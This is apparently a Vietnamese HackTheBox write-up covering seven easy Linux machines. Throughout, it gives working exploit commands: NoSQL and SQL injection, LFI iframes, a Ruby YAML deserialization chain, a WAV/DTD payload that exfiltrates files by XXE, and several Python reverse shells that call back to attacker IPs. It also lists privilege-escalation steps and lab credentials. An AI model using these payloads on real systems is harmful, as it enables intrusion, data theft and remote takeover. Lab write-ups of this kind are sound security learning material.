# Hackthebox Easy Machines OS LINUX
###### tags: `RedTeam` `Linux` `Hackthebox` `Machine`
## Stocker

Lúc đầu nmap thấy có port 80 rồi nhưng mình k connect được, ta phải sửa config trong /etc/hosts
https://superuser.com/questions/1074185/why-i-need-to-modify-etc-hosts-to-be-able-to-open-the-website


Dùng dirsearch scan được mấy cái path nhưng không ăn thua lắm vì nhìn không quan trọng và toàn 403

`gobuster vhost -u stocker.htb -w subdomains-top1million-5000.txt`
Ta quét thử virtual host sử dụng wordlist từ https://github.com/danielmiessler/SecLists tìm được host: dev.stocker.htb

modify /etc/hosts để access

Sau khi scan nhận được trang login

Vì là form login, nên mình đã thử sqli k được nên chuyển qua nosqli, nếu k được nữa chắc chỉ còn nước xài hydra :child: nhưng khi set `content-type` thành json và thử bypass authentication với payloads nosql injection https://book.hacktricks.xyz/pentesting-web/nosql-injection thì tadaaa:

Vào bên trong thì là shop bình thường thôi:

Khi thanh toán shop gen cho mình hoá đơn là pdf luôn mà


Thử với payload xss thì nhận ra lfi

do vậy ta thử đọc retrieve file xem sao
`<iframe width='420' height='315' src='file:///etc/passwd'></iframe>`

có vẻ vẫn chưa hiển thị hết dữ liệu để mở rộng frame ra nhé
`<iframe width='1000' height='1000' src='file:///etc/passwd'></iframe>`

Đọc source thôi nào: `"<iframe src=file:///var/www/dev/index.js height=1000px width=1000px></iframe>"`


Vậy là ta đã tìm được:
```
username: angoose
password: IHeardPassphrasesArePrettySecure
```
ssh

Ta có đc flag 1

giờ cần leo quyền để tìm flag 2
Sử dụng sudo -l thấy rằng có quyền root với node tại /usr/local/scripts/*.js

viết vào file `flag.js`
```javascript=
const fs = require('fs');
fs.readFile(''/root/root.txt', 'utf8', (err, data) => {
if (err) throw err;
console.log(data);
});
```


## Soccer

Chỉnh /etc/hosts trong windows


Dùng gobuster scan dir thấy không có gì nổi bật lắm

Quét vhost cũng vậy :crying_cat_face:

nên mình thay wordlist, mỗi tội dùng wordlist lớn quá :hushed:

`Tiny File Manager` là web opensource giúp quản lý các file nhỏ nhanh và đơn giản hơn. https://github.com/prasathmani/tinyfilemanager
Ở đây chúng ta tìm thấy `Default credentials`

Đăng nhập với tài khoản admin ta được

Upload reverse shell lên

nhưng lại không thể up được

vào tiny/uploads ở đây cho phép ta upload, do vậy ta up load reverse shell lên

đã có shell trả về

sử dụng command `python3 -c "import pty;pty.spawn('/bin/bash')" ` để spawn tty

flag user chỉ root hoặc player là có thể đọc được

kiểm tra /etc/hosts phát hiện ra domain nữa

Do vậy ta sửa /etc/hosts của mình như sau

giống giao diện cũ nhưng có form đăng ký, đăng nhập

đăng ký

đăng nhập vào có thể check xem tình trạng ticket đó như nào


Ta xác định được có lỗi sqli do:


check source thì thấy

```javascript!
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
var btn = document.getElementById('btn');
var input = document.getElementById('id');
ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});
function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
ws.onmessage = function (e) {
append(e.data)
}
function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}
```
code ở trên mở kết nối websocket, đợi chúng ta nhập số vé và nhấn phím enter. Sau đó, nó sẽ gửi dữ liệu json của đầu vào của chúng ta đến máy chủ websocket và hiển thị kết quả ra màn hình.
Ta sử dụng code bên dưới để thay đổi request của sqlmap tới local của mình
```python!
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
```
Sau đó cho chạy 2 tab


`sqlmap -u "http://localhost:8081/?id=1" --current-db`
tìm được database là `soccer_db`

`sqlmap -u "http://localhost:8081/?id=1" -D soccer_db --tables`

`sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts -C username,password --dump-all`
user: player
password: PlayerOftheMatch2022

ssh vô là có flag 1

Tìm cách leo quyền lên root `find / -perm -u=s -type f 2>/dev/null`


Ta thấy rằng user có thể thực hiện /usr/bin/dstat với quyền root

Trong phần 'PLUGIN' của trang hướng dẫn, nó đề cập đến khả năng viết các plugin của riêng chúng tôi để sử dụng nó; và gần phía dưới, như hình trên cho thấy, là nhiều đường dẫn để các plugin tùy chỉnh của chúng tôi được lưu trữ. Và quy ước đặt tên là 'dstat_*.py' .
Sau đó ta chỉ đơn giản là mượn quyền root để cấp quyền u+s cho user
`echo 'import os;os.system("chmod u+s /bin/bash")' > dstat_privesc.py`
`doas -u root /usr/bin/dstat --privesc &>/dev/null`
`ls -l /bin/bash`
https://gtfobins.github.io/gtfobins/bash/
`bash -p`

## Precious

`sudo nano /etc/hosts`

Một trang convert Web Page to PDF

nhưng lại không cho remote ?

dùng cả web hiện tại cũng k được

dirsearch cũng k phát hiện gì

Tự host server `sudo python3 -m http.server 80`

`http://<my_ip>`

thì thấy bật ra file pdf

dùng exiftool thấy nó gen bởi pdfkit v0.8.6

Google dễ dàng thấy `CVE-2022-25765` bị dính `Command Injection` với CVSS 9.8 Critical https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
Thử với POC `http://<my_ip>/?name=#{'%20`sleep 5`'}`
thấy 5s mới response chứng tỏ POC hoạt động
Giờ kiếm payload reverse shell, mình sử dụng payload
```
http://10.10.14.12:80/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`
```

Ở /home có 2 user henry và ruby, ta vào henry trước thì thấy file user.txt nhưng đọc file thì ta không có quyền giờ ta phải tìm credentials của henry để có thể đọc được

sang user ruby tìm kiếm thì ở trong folder .bundle có lưu thông tin config của henry `henry:Q3c1AqGHtoI0aXAYFH`

giờ ta ssh sang henry và đọc flag

ta thấy henry có thể run file update_depencies.rb với quyền root


Đoạn này bị dính deserialization vulnerability https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/, ta nên sử dụng YAML.safe_load thay cho YAML.load


Bây giờ nhiệm vụ của chúng ta có vẻ đơn giản là chạy chmod +s /bin/bash. Điều này cho phép ta chạy bash với tư cách là người dùng hoặc nhóm đã tạo ra nó (trong trường hợp này là root)
ghi vào file `dependencies.yml` ở /home/henry
```
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
```
`sudo /usr/bin/ruby /opt/update_dependencies.rb`

và ta có flag root


## MetaTwo



Dùng dirsearch ta được khá nhiều kết quả


Mình thấy chỉ cần quan tâm đến một số thứ quan trọng như trang login, robots.txt và .htaccess



bắt đầu với trang login, với username là `a` thì form thông báo `Unknown username`

với username là `admin` thì form thông báo `The password you entered for the username admin is incorrect`

do vậy có thể thấy rằng tồn tại username là `admin`, ta có thể nghĩ tới hướng brute-force password của admin bằng hydra

`hydra -vV -l admin -P 100k-most-used-passwords-NCSC.txt 10.10.11.186 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect' -o success`
K hiểu sao lại lắm password như này :cry:

về sau đọc bài này https://security.stackexchange.com/questions/37020/why-does-hydra-return-16-valid-passwords-when-none-are-valid mới biết là thiếu cookie do vậy phải sửa thành `hydra -l admin -P 100k-most-used-passwords-NCSC.txt 10.10.11.186 -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:F=Error:H=Cookie: PHPSESSID=9f447ku07hb6021jaot3prkauf; wordpress_test_cookie=WP%20Cookie%20check'`
thế nhưng con máy ảo quá cùi :cry: bị đơ lun

nên sang máy thật bật burpsuite lên chiến, và kết luận rằng brute-force k được, tìm cách khác đê

sử dụng wpscan nhận được phiên bản wp version `5.6.2`

mình bó cẩn nên có vác cả acunetic đi scan nhưng cũng không tìm thấy gì hjc
(chính ra cái phần xác định lỗi này là khó khi đọc wu mình mới biết là phải đọc source page để nhìn thấy version của plugin, plugin đó dính lỗi sqli)
đầu tiên ta tìm `wpnonce` trong source page `/events` sau đó sử dụng POC bên dưới để exploit
[A proof of concept python script here](https://github.com/destr4ct/CVE-2022-0739/blob/main/booking-press-expl.py)

sau đó dùng john để crack password và tìm được password của manager là: `partylikearockstar`


Đến đây research với keywords `wordpress 5.6.2 exploit` đều dẫn đến `CVE-2021-29447 WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8`
POC:
https://github.com/motikan2010/CVE-2021-29447
https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/
Đầu tiên tạo file wav để upload
```echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.54:8080/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav```
Tiếp theo là tạo file evil.dtd
```
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.54:8080/?p=%file;'>" >
```

Bây giờ bật server local và upload file wav
```
php -S 0.0.0.0:8080
```

và ta nhận được data là base64

đem đi decode là ta nhận được file /etc/passwd
```
php -r 'echo zlib_decode(base64_decode("jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw=="));'
```

giờ làm tương tự để đọc file config của wordpress bằng cách sửa file evil.dtd
```
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.54:8080/?p=%file;'>" >
```
sau đó upload lại file wav

và decode
```php!
php -r 'echo zlib_decode(base64_decode("jVVZU/JKEH2+VvkfhhKMoARUQBARAoRNIEDCpgUhIRMSzEYyYVP87TdBBD71LvAANdNzTs/p6dMPaUMyTk9CgQBgJAg0ToVAFwFy/gsc4njOgkDUTdDVTaFhQssCgdDpiQBFWYMXAMtn2TpRI7ErgPGKPsGAP3l68glXW9HN6gHEtqC5Rf9+vk2Trf9x3uAsa+Ek8eN8g6DpLtXKuxix2ygxyzDCzMwteoX28088SbfQr2mUKJpxIRR9zClu1PHZ/FcWOYkzLYgA0t0LAVkDYxNySNYmh0ydHwVa+A+GXIlo0eSWxEZiXOUjxxSu+gcaXVE45ECtDIiDvK5hCIwlTps4S5JsAVl0qQXd5tEvPFS1SjDbmnwR7LcLNFsjmRK1VUtEBlzu7nmIYBr7kqgQcYZbdFxC/C9xrvRuXKLep1lZzhRWVdaI1m7q88ov0V8KO7T4fyFnCXr/qEK/7NN01dkWOcURa6/hWeby9AQEAGE7z1dD8tgpjK6BtibPbAie4MoCnCYAmlOQhW8jM5asjSG4wWN42F04VpJoMyX2iew7PF8fLO159tpFKkDElhQZXV4ZC9iIyIF1Uh2948/3vYy/2WoWeq+51kq524zMXqeYugXa4+WtmsazoftvN6HJXLtFssdM2NIre/18eMBfj20jGbkb9Ts2F6qUZr5AvE3EJoMwv9DJ7n3imnxOSAOzq3RmvnIzFjPEt9SA832jqFLFIplny/XDVbDKpbrMcY3I+mGCxxpDNFrL80dB2JCk7IvEfRWtNRve1KYFWUba2bl2WerNB+/v5GXhI/c2e+qtvlHUqXqO/FMpjFZh3vR6qfBUTg4Tg8Doo1iHHqOXyc+7fERNkEIqL1zgZnD2NlxfFNL+O3VZb08S8RhqUndU9BvFViGaqDJHFC9JJjsZh65qZ34hKr6UAmgSDcsik36e49HuMjVSMnNvcF4KPHzchwfWRng4ryXxq2V4/dF6vPXk/6UWOybscdQhrJinmIhGhYqV9lKRtTrCm0lOnXaHdsV8Za+DQvmCnrYooftCn3/oqlwaTju59E2wnC7j/1iL/VWwyItID289KV+6VNaNmvE66fP6Kh6cKkN5UFts+kD4qKfOhxWrPKr5CxWmQnbKflA/q1OyUBZTv9biD6Uw3Gqf55qZckuRAJWMcpbSvyzM4s2uBOn6Uoh14Nlm4cnOrqRNJzF9ol+ZojX39SPR60K8muKrRy61bZrDKNj7FeNaHnAaWpSX+K6RvFsfZD8XQQpgC4PF/gAqOHNFgHOo6AY0rfsjYAHy9mTiuqqqC3DXq4qsvQIJIcO6D4XcUfBpILo5CVm2YegmCnGm0/UKDO3PB2UtuA8NfW/xboPNk9l28aeVAIK3dMVG7txBkmv37kQ8SlA24Rjp5urTfh0/vgAe8AksuA82SzcIpuRI53zfTk/+Ojzl3c4VYNl8ucWyAAfYzuI2X+w0RBawjSPCuTN3tu7lGJZiC1AAoryfMiac2U5CrO6a2Y7AhV0YQWdYudPJwp0x76r/Nw=="));'
```
ta có được source code
```
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
```
có được ftp credentials metapress.htb:9NYS_ii@FyL_p5M2NvJ

cat file `send_email.php` ta được `jnelson@metapress.htb:Cb4_JmWM8zUZWMu@Ys`
```php!
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";
$mail->addAddress("info@metapress.htb");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
```
ssh với thông tin trên và tìm được flag 1

tiếp tục tìm thấy pass của root trong folder .passpie, passpie là trình quản lý mật khẩu bằng command line, nếu nhập đúng mật khẩu của passpie thì có thể đọc được tất cả mật khẩu đã lưu trong đó

copy về local

tiếp tục tìm thấy file `.keys` có 2 key là public key và private key, copy phần private key về local rồi crack


tìm được key là: blink182

nhập key, tìm được passwd `p7qfAZt4_A1xo_0x` và lụm flag

## Photobomb


Sau khi quét dir, vhost thấy chả có gì cả, mình mò thử source page thì thấy `http://pH0t0:b0Mb!@photobomb.htb/printer`


thử download 1 ảnh

sau khi thử check blind cmd injection bằng cách curl sang server burp nhưng thấy không được nên mình dựng server tại máy để xem mạng lan có curl được không.

`sudo python3 -m http.server 80`
Ok, vậy là giả thuyết đã đúng

reverse shell thôi
```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.54",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

tìm được thông tin đăng nhập

giờ dùng john để crack `john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt` nhưng mà không crack được

quay về home thì thấy flag 1, đậu xanh phí thời gian crack

tìm cách leo lên root

ta thấy rằng khi excute script find chạy với quyền root
ghi bash vào find: `echo /bin/bash > find; chmod +x find`
ghi đè PATH

đ hiểu sao ghi đè rồi mà excute k lên root mà phải dùng payload `sudo PATH=$PWD:$PATH /opt/cleanup.sh`

Vậy là cuối cùng cũng xong 5 machine easy, easy mà cũng nhọc quá hjc

## Inject


Sau khi thử 7749 lần bypass upload file thì mình thấy thử vài trick nhưng không cái nào excute được


Trong lúc tuyệt vọng mình thử Path Traversal và bú được thật

Sau đó mình có fuzz mấy file default linux để đọc xem có gì lạ không nhưng vẫn không có gì (hoặc mình đọc thiếu)

Bí quá mình xem wu, và được thấy rằng nó liệt kê được cả folder, điều này khá mới mẻ với mình :seedling: vì trước giờ mình không phân biệt rõ Path Traversal và LFI cứ nghĩ là chỉ đọc được file thôi, còn directory thì không được, nếu đọc được là config lỗi, nhờ sự ngu dốt đó mà bị các thằng em QQ cà khịa. Về cơ bản thì LFI hơn Path Traversal ở chỗ nó có thể excute được, nên lab này chính xác là bị lỗi LFI. https://security.stackexchange.com/questions/11868/difference-between-directory-traversal-and-file-inclusion

Oa lần đầu làm lab có web java (real world) :heart_eyes: Cuối cùng cũng tìm hiểu được nguyên nhân, có source rồi ta thấy rằng mimetype chỉ check đoạn đầu xem có phải `image` hay không. Thế nhưng khi test lại thấy nó chả liên quan gì, hay là code này không phải code thật và ta chỉ đọc được source trong examle?


Đi tìm cách khác ta thấy server sử dụng dependency `spring-cloud-function-web` version `3.2.2`

google ta tìm được lỗi RCE trên Spring Cloud Function https://spring.io/security/cve-2022-22963
Sau đó mình tìm được POC: https://github.com/lemmyz4n3771/CVE-2022-22963-PoC
Nhưng có vẻ là mình không được ghi, vì vậy mình host file rồi dùng máy victim wget về thôi






Ting Ting Đã có shell về

Tìm được password của `phil`: `DocPhillovestoInject123`
Hấp tấp đăng nhập, nhưng nó đòi cả pubkey nữa

đăng nhập luôn từ `frank` là khỏi cần

upgrade shell

Tìm suid nhưng không thấy cái nào khả quan

định tải linpeas về nhưng không được

thì ta lại tải về máy mình rồi dùng máy victim kéo về thôi


thử hết mấy cái CVE thấy không cái nào xài được
sau đó tham khảo wu họ sử dụng tool pspy64: https://github.com/DominicBreuker/pspy, đây là tool có thể xem các tiến trình mà không cần quyền root


để ý thấy 2 câu lệnh này nó sẽ tự động load các file yml trong folder và sau đó cho run python3 với các file yml
```
/bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
/usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
```
ý tưởng lúc đầu chỉ đơn giản là viết lại file python vì mình kiểm tra thấy full quyền nhưng khi thực thi lại không được, khó hiểu

thế là mình phải tìm cách khác đó là thêm 1 file yml vô nữa
Trên gtfo https://gtfobins.github.io/gtfobins/ansible-playbook/ có đề cập đến việc chèn thêm properties shell để leo quyền nên ta viết lại file như sau


## Busqueda


Website cho phép ta tìm kiếm trên các engine

Mình nghĩ đến khả năng bị SSRF tuy nhiên thử vài payload thấy k có gì, kéo xuống bên dưới ta thấy web được dev bằng Flask và Searchor 2.4.0

GG Search ta nhận thấy rằng `Searchor 2.4.0` dùng eval để xử lý (ảo thật) https://github.com/ArjunSharda/Searchor/commit/29d5b1f28d29d6a282a5e860d456fab2df24a16b
Payload nhét vào query: `', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.129',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#`
giải thích: vì eval k thực hiện được nhiều câu lệnh trên cùng 1 dòng nên ta phải dùng exec, dấu `'` đầu tiên để escape `'` và `#` dùng để escape `'` cuối.
Ok vậy là lấy được flag user

tìm được thông tin: `cody:jh1usoih2bkjaspwe92` cùng với subdomain `http://gitea.searcher.htb/`



đăng nhập vào và thấy account `administrator`

quay lại `sudo -l` với thông tin cody thì nhận thấy rằng được phép excute 1 file python này nhưng không đọc được source, vì vậy mình thử nghịch xem sao

hmm thì ra hoạt động chính của nó là run docker với quyền root

sử dụng `docker-inspect` để in ra thông tin, thông tin trong DB không có tác dụng mấy, hãy tập trung vào cái docker gitea kia.

đăng nhập với thông tin `administrator:yuiu1hoiu4i5ho1uh`, ta vào được acc admin

đọc source ta thấy rằng script sẽ run file `full-checkup.sh` với
nên ta đơn giản là cần tạo file `full-checkup.sh` theo cách cấp suid cho /bin/bash nhưng mà đ hiểu sao k đc:
```shell=
echo '/bin/bash' >> full-checkup.sh
echo "chmod +s /bin/bash" >> full-checkup.sh
chmod 777 full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
ls -la /bin/bash
/bin/bash -p
```
về sau mình phải đi tham khảo wu tạo file `full-checkup.sh` như này phải listen, mình đ thích nhưng mà nó ra flag nên ... :< :
```shell=
#!/usr/bin/python3
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.129",9001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
```
```shell=
wget 10.10.14.129/full-checkup.sh
chmod 777 full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
```
